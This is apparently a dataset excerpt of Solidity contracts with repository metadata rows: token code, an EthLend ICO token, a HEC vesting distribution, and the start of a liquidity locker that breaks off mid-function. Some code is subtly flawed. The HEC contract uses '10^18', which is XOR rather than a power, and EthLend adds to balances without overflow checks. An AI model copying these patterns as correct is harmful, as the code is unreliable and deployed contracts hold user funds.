function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist isNameOrTAO(_from) returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function _mint(address target, uint256 mintedAmount) internal {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(address(0), address(this), mintedAmount);
emit Transfer(address(this), target, mintedAmount);
}
}
contract EthosPeta is TAOCurrency {
constructor(string memory _name, string memory _symbol, address _nameTAOPositionAddress)
TAOCurrency(_name, _symbol, _nameTAOPositionAddress) public {
powerOfTen = 15;
decimals = 15;
}
}
| 182,802 | 11,131 |
42c06dc045d6820dfd40fa8a1995a31b8c3ee4877fe47d4357a31ada35d6271a
| 10,030 |
.sol
|
Solidity
| false |
313659237
|
nelaturuk/verisolid_journal_experiments
|
919c4a29187e561681ab0197059c31e8899d88f5
|
case-studies/ERC20contracts/Type 2/EthLend.sol
| 2,641 | 9,879 |
pragma solidity ^0.4.16;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
// Standard token interface (ERC 20)
// https://github.com/ethereum/EIPs/issues/20
contract Token is SafeMath {
// Functions:
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply);
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
function transfer(address _to, uint256 _value) returns(bool);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns(bool);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
// Events:
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StdToken is Token {
// Fields:
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint public supply = 0;
// Functions:
function transfer(address _to, uint256 _value) returns(bool) {
require(balances[msg.sender] >= _value);
require(balances[_to] + _value > balances[_to]);
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool){
require(balances[_from] >= _value);
require(allowed[_from][msg.sender] >= _value);
require(balances[_to] + _value > balances[_to]);
balances[_to] = safeAdd(balances[_to],_value);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
function totalSupply() constant returns (uint256) {
return supply;
}
function balanceOf(address _owner) constant returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
}
contract EthLendToken is StdToken
{
/// Fields:
string public constant name = "EthLend Token";
string public constant symbol = "LEND";
uint public constant decimals = 18;
// this includes DEVELOPERS_BONUS
uint public constant TOTAL_SUPPLY = 1300000000 * (1 ether / 1 wei);
uint public constant DEVELOPERS_BONUS = 300000000 * (1 ether / 1 wei);
uint public constant PRESALE_PRICE = 30000; // per 1 Ether
uint public constant PRESALE_MAX_ETH = 2000;
// 60 mln tokens sold during presale
uint public constant PRESALE_TOKEN_SUPPLY_LIMIT = PRESALE_PRICE * PRESALE_MAX_ETH * (1 ether / 1 wei);
uint public constant ICO_PRICE1 = 27500; // per 1 Ether
uint public constant ICO_PRICE2 = 26250; // per 1 Ether
uint public constant ICO_PRICE3 = 25000; // per 1 Ether
// 1bln - this includes presale tokens
uint public constant TOTAL_SOLD_TOKEN_SUPPLY_LIMIT = 1000000000* (1 ether / 1 wei);
enum State{
Init,
Paused,
PresaleRunning,
PresaleFinished,
ICORunning,
ICOFinished
}
State public currentState = State.Init;
bool public enableTransfers = false;
address public teamTokenBonus = 0;
// Gathered funds can be withdrawn only to escrow's address.
address public escrow = 0;
// Token manager has exclusive priveleges to call administrative
// functions on this contract.
address public tokenManager = 0;
uint public presaleSoldTokens = 0;
uint public icoSoldTokens = 0;
uint public totalSoldTokens = 0;
/// Modifiers:
modifier onlyTokenManager()
{
require(msg.sender==tokenManager);
_;
}
modifier onlyInState(State state)
{
require(state==currentState);
_;
}
/// Events:
event LogBuy(address indexed owner, uint value);
event LogBurn(address indexed owner, uint value);
/// Functions:
/// @dev Constructor
/// @param _tokenManager Token manager address.
function EthLendToken(address _tokenManager, address _escrow, address _teamTokenBonus)
{
tokenManager = _tokenManager;
teamTokenBonus = _teamTokenBonus;
escrow = _escrow;
// send team bonus immediately
uint teamBonus = DEVELOPERS_BONUS;
balances[_teamTokenBonus] += teamBonus;
supply+= teamBonus;
assert(PRESALE_TOKEN_SUPPLY_LIMIT==60000000 * (1 ether / 1 wei));
assert(TOTAL_SOLD_TOKEN_SUPPLY_LIMIT==1000000000 * (1 ether / 1 wei));
}
function buyTokens() public payable
{
require(currentState==State.PresaleRunning || currentState==State.ICORunning);
if(currentState==State.PresaleRunning){
return buyTokensPresale();
}else{
return buyTokensICO();
}
}
function buyTokensPresale() public payable onlyInState(State.PresaleRunning)
{
// min - 1 ETH
require(msg.value >= (1 ether / 1 wei));
uint newTokens = msg.value * PRESALE_PRICE;
require(presaleSoldTokens + newTokens <= PRESALE_TOKEN_SUPPLY_LIMIT);
balances[msg.sender] += newTokens;
supply+= newTokens;
presaleSoldTokens+= newTokens;
totalSoldTokens+= newTokens;
LogBuy(msg.sender, newTokens);
}
function buyTokensICO() public payable onlyInState(State.ICORunning)
{
// min - 0.01 ETH
require(msg.value >= ((1 ether / 1 wei) / 100));
uint newTokens = msg.value * getPrice();
require(totalSoldTokens + newTokens <= TOTAL_SOLD_TOKEN_SUPPLY_LIMIT);
balances[msg.sender] += newTokens;
supply+= newTokens;
icoSoldTokens+= newTokens;
totalSoldTokens+= newTokens;
LogBuy(msg.sender, newTokens);
}
function getPrice()constant returns(uint)
{
if(currentState==State.ICORunning){
if(icoSoldTokens<(200000000 * (1 ether / 1 wei))){
return ICO_PRICE1;
}
if(icoSoldTokens<(300000000 * (1 ether / 1 wei))){
return ICO_PRICE2;
}
return ICO_PRICE3;
}else{
return PRESALE_PRICE;
}
}
function setState(State _nextState) public onlyTokenManager
{
//setState() method call shouldn't be entertained after ICOFinished
require(currentState != State.ICOFinished);
currentState = _nextState;
// enable/disable transfers
//enable transfers only after ICOFinished, disable otherwise
enableTransfers = (currentState==State.ICOFinished);
}
function withdrawEther() public onlyTokenManager
{
if(this.balance > 0)
{
require(escrow.send(this.balance));
}
}
/// Overrides:
function transfer(address _to, uint256 _value) returns(bool){
require(enableTransfers);
return super.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool){
require(enableTransfers);
return super.transferFrom(_from,_to,_value);
}
function approve(address _spender, uint256 _value) returns (bool) {
require(enableTransfers);
return super.approve(_spender,_value);
}
/// Setters/getters
function setTokenManager(address _mgr) public onlyTokenManager
{
tokenManager = _mgr;
}
// Default fallback function
function() payable
{
buyTokens();
}
}
| 156,079 | 11,132 |
13ae31186c3f1184e3056fe3b90235e2ba440e1c72d91fa7217a6fa5461c437f
| 36,735 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/1f/1fcb5e395c17be8c96f6e8d65d2d8452c8df6516_HEC_Private_Distribution.sol
| 5,039 | 19,772 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
abstract contract HEC_Base_Distribution is Ownable, ReentrancyGuard {
using SafeMath for uint;
using SafeMath for uint32;
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public constant SECONDS_PER_DAY = 24 * 60 * 60;
uint256 public constant TGE_EPOCH_TIME = 1642600800; //UTC: Wednesday, January 19, 2022 2:00:00 PM
event RewardClaimed(address indexed user, uint256 amount);
address public immutable HeC;
uint256 public totalDebt;
mapping(address => uint) public walletIndices;
WalletInfo[] public wallets;
struct WalletInfo {
address recipient;
uint256 unlockedBalance;
uint256 lockedBalance;
uint256 initialBalance;
uint256 releaseAmountPerDay;
uint256 claimableEpochTime;
}
function getTotalContractBalance() public virtual pure returns(uint256);
function getCliffEndEpochTime() public virtual pure returns(uint256);
function getVestingEndEpochTime() public virtual pure returns(uint256);
function getTGEUnlockPercentage() public virtual pure returns(uint256);
constructor(address _hec) {
require(_hec != address(0));
HeC = _hec;
totalDebt = 0;
}
function claim() external nonReentrant {
uint256 index = walletIndices[msg.sender];
require(uint256(block.timestamp) > TGE_EPOCH_TIME, "Request not valid.");
require(wallets[ index ].recipient == msg.sender, "Claim request is not valid.");
require(wallets[ index ].lockedBalance.add(wallets[ index ].unlockedBalance) > 0, "There is no balance left to claim.");
uint256 valueToSendFromVesting = calculateClaimableAmountForVesting(index);
uint256 valueToSendFromTGE = wallets[ index ].unlockedBalance;
uint256 valueToSendTOTAL = valueToSendFromVesting.add(valueToSendFromTGE);
require(valueToSendTOTAL > 0, "There is no balance to claim at the moment.");
uint256 vestingDayCount = calculateVestingDayCount(wallets[ index ].claimableEpochTime, uint256(block.timestamp));
wallets[ index ].lockedBalance = wallets[ index ].lockedBalance.sub(valueToSendFromVesting);
wallets[ index ].unlockedBalance = wallets[ index ].unlockedBalance.sub(valueToSendFromTGE);
wallets[ index ].claimableEpochTime = wallets[ index ].claimableEpochTime.add(vestingDayCount.mul(SECONDS_PER_DAY));
totalDebt = totalDebt.sub(valueToSendTOTAL);
IERC20(HeC).safeTransfer(msg.sender, valueToSendTOTAL);
emit RewardClaimed(msg.sender, valueToSendTOTAL);
}
function claimable() public view returns (uint256) {
uint256 index = walletIndices[ msg.sender ];
require(wallets[ index ].recipient == msg.sender, "Request not valid.");
if (uint256(block.timestamp) <= TGE_EPOCH_TIME)
return 0;
return wallets[ index ].unlockedBalance.add(calculateClaimableAmountForVesting(index));
}
function calculateClaimableAmountForVesting(uint256 _index) private view returns (uint256) {
//initial value of current claimable time is the ending time of cliff/lock period
//after first claim, this value is iterated forward by the time unit amount claimed.
//for instance, this calculations gives the number of days passed since last claim (or TGE time)
//we use the number of seconds passed and divide it by number of seconds per day
uint256 vestingDayCount = calculateVestingDayCount(wallets[ _index ].claimableEpochTime, uint256(block.timestamp));
uint256 valueToSendFromVesting = wallets[ _index ].releaseAmountPerDay.mul(vestingDayCount);
//If claim time is after Vesting End Time, send all the remaining tokens.
if (uint256(block.timestamp) > getVestingEndEpochTime())
valueToSendFromVesting = wallets[ _index ].lockedBalance;
if (valueToSendFromVesting > wallets[ _index ].lockedBalance) {
valueToSendFromVesting = wallets[ _index ].lockedBalance;
}
return valueToSendFromVesting;
}
function calculateVestingDayCount(uint256 _start_time, uint256 _end_time) private pure returns (uint256) {
if (_end_time <= _start_time)
return 0;
return (_end_time - _start_time).div(SECONDS_PER_DAY);
}
function _addRecipient(address _recipient, uint256 _tokenAmount) internal {
uint256 index = walletIndices[ _recipient ];
if(wallets.length > 0) {
require(index == 0, "Address already in list.");
}
require(_recipient != address(0), "Recipient address cannot be empty.");
require(_tokenAmount > 0, "Token amount invalid.");
require(totalDebt.add(_tokenAmount) <= IERC20(HeC).balanceOf(address(this)), "Cannot add this debt amount due to the balance of this Contract.");
uint256 vestingDayCount = calculateVestingDayCount(getCliffEndEpochTime(), getVestingEndEpochTime());
require(vestingDayCount > 0, "Unexpected vesting day count.");
uint256 _unlockedBalance = _tokenAmount.mul(getTGEUnlockPercentage()).div(100);
uint256 _lockedBalance = _tokenAmount.sub(_unlockedBalance);
uint256 _releaseAmountPerDay = _lockedBalance.div(vestingDayCount);
wallets.push(WalletInfo({
recipient: _recipient,
unlockedBalance: _unlockedBalance,
lockedBalance: _lockedBalance,
initialBalance: _tokenAmount,
releaseAmountPerDay: _releaseAmountPerDay,
claimableEpochTime: getCliffEndEpochTime()
}));
walletIndices[_recipient] = wallets.length - 1;
totalDebt = totalDebt.add(_tokenAmount);
}
function _removeRecipient(uint256 _index, address _recipient) internal {
require(_recipient == wallets[ _index ].recipient, "Recipient index does not match.");
totalDebt = totalDebt.sub(wallets[ _index ].lockedBalance).sub(wallets[ _index ].unlockedBalance);
wallets[ _index ].recipient = address(0);
wallets[ _index ].releaseAmountPerDay = 0;
wallets[ _index ].claimableEpochTime = 0;
wallets[ _index ].unlockedBalance = 0;
wallets[ _index ].lockedBalance = 0;
}
function addRecipients(address[] memory _recipients, uint256[] memory _tokenAmounts) external onlyOwner() {
require(_recipients.length == _tokenAmounts.length, "Array sizes do not match.");
for(uint i = 0; i < _recipients.length; i++) {
_addRecipient(_recipients[i], _tokenAmounts[i]);
}
}
function removeRecipients(uint256[] memory _indices, address[] memory _recipients) external onlyOwner() {
require(_recipients.length == _indices.length, "Array sizes do not match.");
for(uint256 i = 0; i < _recipients.length; i++) {
_removeRecipient(_indices[i], _recipients[i]);
}
}
}
contract HEC_Private_Distribution is HEC_Base_Distribution {
//Constants - In accordance with Token Distribution Plan
uint256 public constant TOTAL_CONTRACT_BALANCE = 7750000 * 10^18; //7.75% (7.75 million)
uint256 public constant TGE_UNLOCK_PERCENTAGE = 10; //10%
uint256 public constant CLIFF_END_EPOCH_TIME = 1650376800; //UTC: Tuesday, April 19, 2022 2:00:00 PM
uint256 public constant VESTING_END_EPOCH_TIME = 1681912800; //UTC: Wednesday, April 19, 2023 2:00:00 PM
constructor(address _hec) HEC_Base_Distribution(_hec) {
require(_hec != address(0));
}
function getTotalContractBalance() public override pure returns(uint256) {
return TOTAL_CONTRACT_BALANCE;
}
function getCliffEndEpochTime() public override pure returns(uint256){
return CLIFF_END_EPOCH_TIME;
}
function getVestingEndEpochTime() public override pure returns(uint256){
return VESTING_END_EPOCH_TIME;
}
function getTGEUnlockPercentage() public override pure returns(uint256){
return TGE_UNLOCK_PERCENTAGE;
}
}
| 101,189 | 11,133 |
78dafa14efb9f324f8e03e268a65d140b4795eb426bd4fe9395574245437c069
| 23,988 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/2a/2A74beF18Ea54644581506E79F8Df8489f46AeB5_LiquidityLocker.sol
| 3,054 | 12,388 |
pragma solidity ^0.8.16;
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/utils/SafeERC20.sol)
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function safePermit(IERC20Permit token,
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) internal {
uint256 nonceBefore = token.nonces(owner);
token.permit(owner, spender, value, deadline, v, r, s);
uint256 nonceAfter = token.nonces(owner);
require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed");
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
